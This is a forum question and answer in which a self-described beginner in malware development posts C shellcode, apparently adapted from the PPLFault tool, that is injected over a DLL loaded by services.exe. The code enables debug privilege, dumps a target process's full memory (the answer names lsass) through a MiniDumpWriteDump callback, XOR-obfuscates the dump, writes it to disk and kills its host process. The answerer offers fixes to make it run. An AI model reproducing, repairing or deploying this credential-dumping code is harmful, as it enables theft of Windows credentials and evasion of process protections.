MiniDumpWriteDump callback does not return to calling function

231 views Asked by At

I am using MiniDumpWriteDump callbacks to read the dump into memory and encrypt it before storing to a file. It is being executed as a part of shellcode that is being written over EventAggregation.dll which is loaded by services.exe. After running MiniDumpWriteDump the subsequent lines of code do not run (I tested to make sure using abort() ). Is there something I am missing in this. I am just a beginner in malware development.

#define _CRT_SECURE_NO_WARNINGS

#include <phnt_windows.h>
#include <phnt.h>
#include <DbgHelp.h>
#include <intrin.h>
#include <stdio.h>

#include "DumpShellcode.h"

#pragma optimize("", off)

PSHELLCODE_PARAMS GetParams();

// Overwrites DllMain (technically CRT DllMain)
BOOL APIENTRY Shellcode(
    HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    PSHELLCODE_PARAMS pParams = NULL;
    MiniDumpWriteDump_t pMiniDumpWriteDump = NULL;
    HANDLE hProcess = NULL;
    HANDLE hFile = NULL;
    HMODULE hDbgHelp = NULL;
    DWORD ignored = 0;

    CallbackHelper helper;
    helper.bytesRead = 0;

    MINIDUMP_CALLBACK_INFORMATION callbackInfo = { 0 };
    callbackInfo.CallbackRoutine = &minidumpCallback;
    callbackInfo.CallbackParam = &helper;

    pParams = GetParams();

    // Resolve remaining import
    hDbgHelp = pParams->pLoadLibraryW(pParams->szDbgHelpDll);
    if (NULL == hDbgHelp)
    {
        __debugbreak();
    }

    pMiniDumpWriteDump = (MiniDumpWriteDump_t)pParams->pGetProcAddress(hDbgHelp, pParams->szMiniDumpWriteDump);
    if (NULL == pMiniDumpWriteDump)
    {
        __debugbreak();
    }

    // Enable SeDebugPrivilege
    if (0 != pParams->pRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &ignored))
    {
        __debugbreak();
    }

    // Acquire handle to target
    hProcess = pParams->pOpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pParams->dwTargetProcessId);
    if (NULL == hProcess)
    {
        __debugbreak();
    }

    // Create output file
    hFile = pParams->pCreateFileW(pParams->dumpPath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
    {
        __debugbreak();
    }

    helper.dumpBuffer = pParams->pHeapAlloc(pParams->pGetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
    if (helper.dumpBuffer == NULL)
    {
        __debugbreak();
        
    }

    // Capture dump
    if (!pMiniDumpWriteDump(hProcess, 0, 0, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo))
    {
        __debugbreak();
    }

    

    int i;

    for (i = 0; i <= helper.bytesRead; i++)
    {
        *((BYTE*)helper.dumpBuffer + i) = *((BYTE*)helper.dumpBuffer + i) ^ 0x4B1D;
    }

    if (!pParams->pWriteFile(hFile, helper.dumpBuffer, helper.bytesRead, NULL, NULL))
    {
        pParams->pCloseHandle(hFile);
        
        __debugbreak();
    }

    pParams->pCloseHandle(hFile);

    pParams->pHeapFree(pParams->pGetProcessHeap(), 0, helper.dumpBuffer);
    helper.dumpBuffer = NULL;

    // Don't trigger WER
    (void)pParams->pTerminateProcess((HANDLE)-1, 0);

    return TRUE;
}

PVOID WhereAmI()
{
    return _ReturnAddress();
}

PSHELLCODE_PARAMS GetParams()
{
    PUCHAR pSearch = (PUCHAR)WhereAmI();
    
    for (;;pSearch++)
    {
        PSHELLCODE_PARAMS pCandidate = (PSHELLCODE_PARAMS)pSearch;

        if ((MAGIC1 == pCandidate->magic1) && (MAGIC2 == pCandidate->magic2))
        {
            return pCandidate;
        }
    }

    return NULL;
}

BOOL CALLBACK minidumpCallback(
    PVOID callbackParam,
    const PMINIDUMP_CALLBACK_INPUT callbackInput,
    PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
    pCallbackHelper helper = (pCallbackHelper)callbackParam;

    LPVOID destination = 0, source = 0;
    DWORD bufferSize = 0;

    switch (callbackInput->CallbackType)
    {
    case IoStartCallback:
        callbackOutput->Status = S_FALSE;
        break;

    case IoWriteAllCallback:
        callbackOutput->Status = S_OK;
        source = callbackInput->Io.Buffer;
        destination = (LPVOID)((DWORD_PTR)helper->dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
        bufferSize = callbackInput->Io.BufferBytes;
        helper->bytesRead += bufferSize;
        memcpy((destination), (source), (bufferSize));
        break;

    case IoFinishCallback:
        callbackOutput->Status = S_OK;
        break;

    default:
        return TRUE;
    }
    return TRUE;
}

BOOL EndShellcode()
{
    return TRUE;
}

Upon executing it, I expected the encrypted dump to be written into the target file, when in fact, the size of the target file was zero bytes.

1

There are 1 answers

0
Black Cat On

This is the code from PPLFault, I understand that you'd like to dump lsass to memory with a callback. If you want to use the way PPLFault uses it, this is a PIC, I don't think you can use memcpy as is because that's all those abovementioned function pointers are for.

Since you added this function, you have to add it to FunctionOrder.txt as well so that it gets compiled to the shellcode.

On the other hand, I think the callback crashed rather than not returning.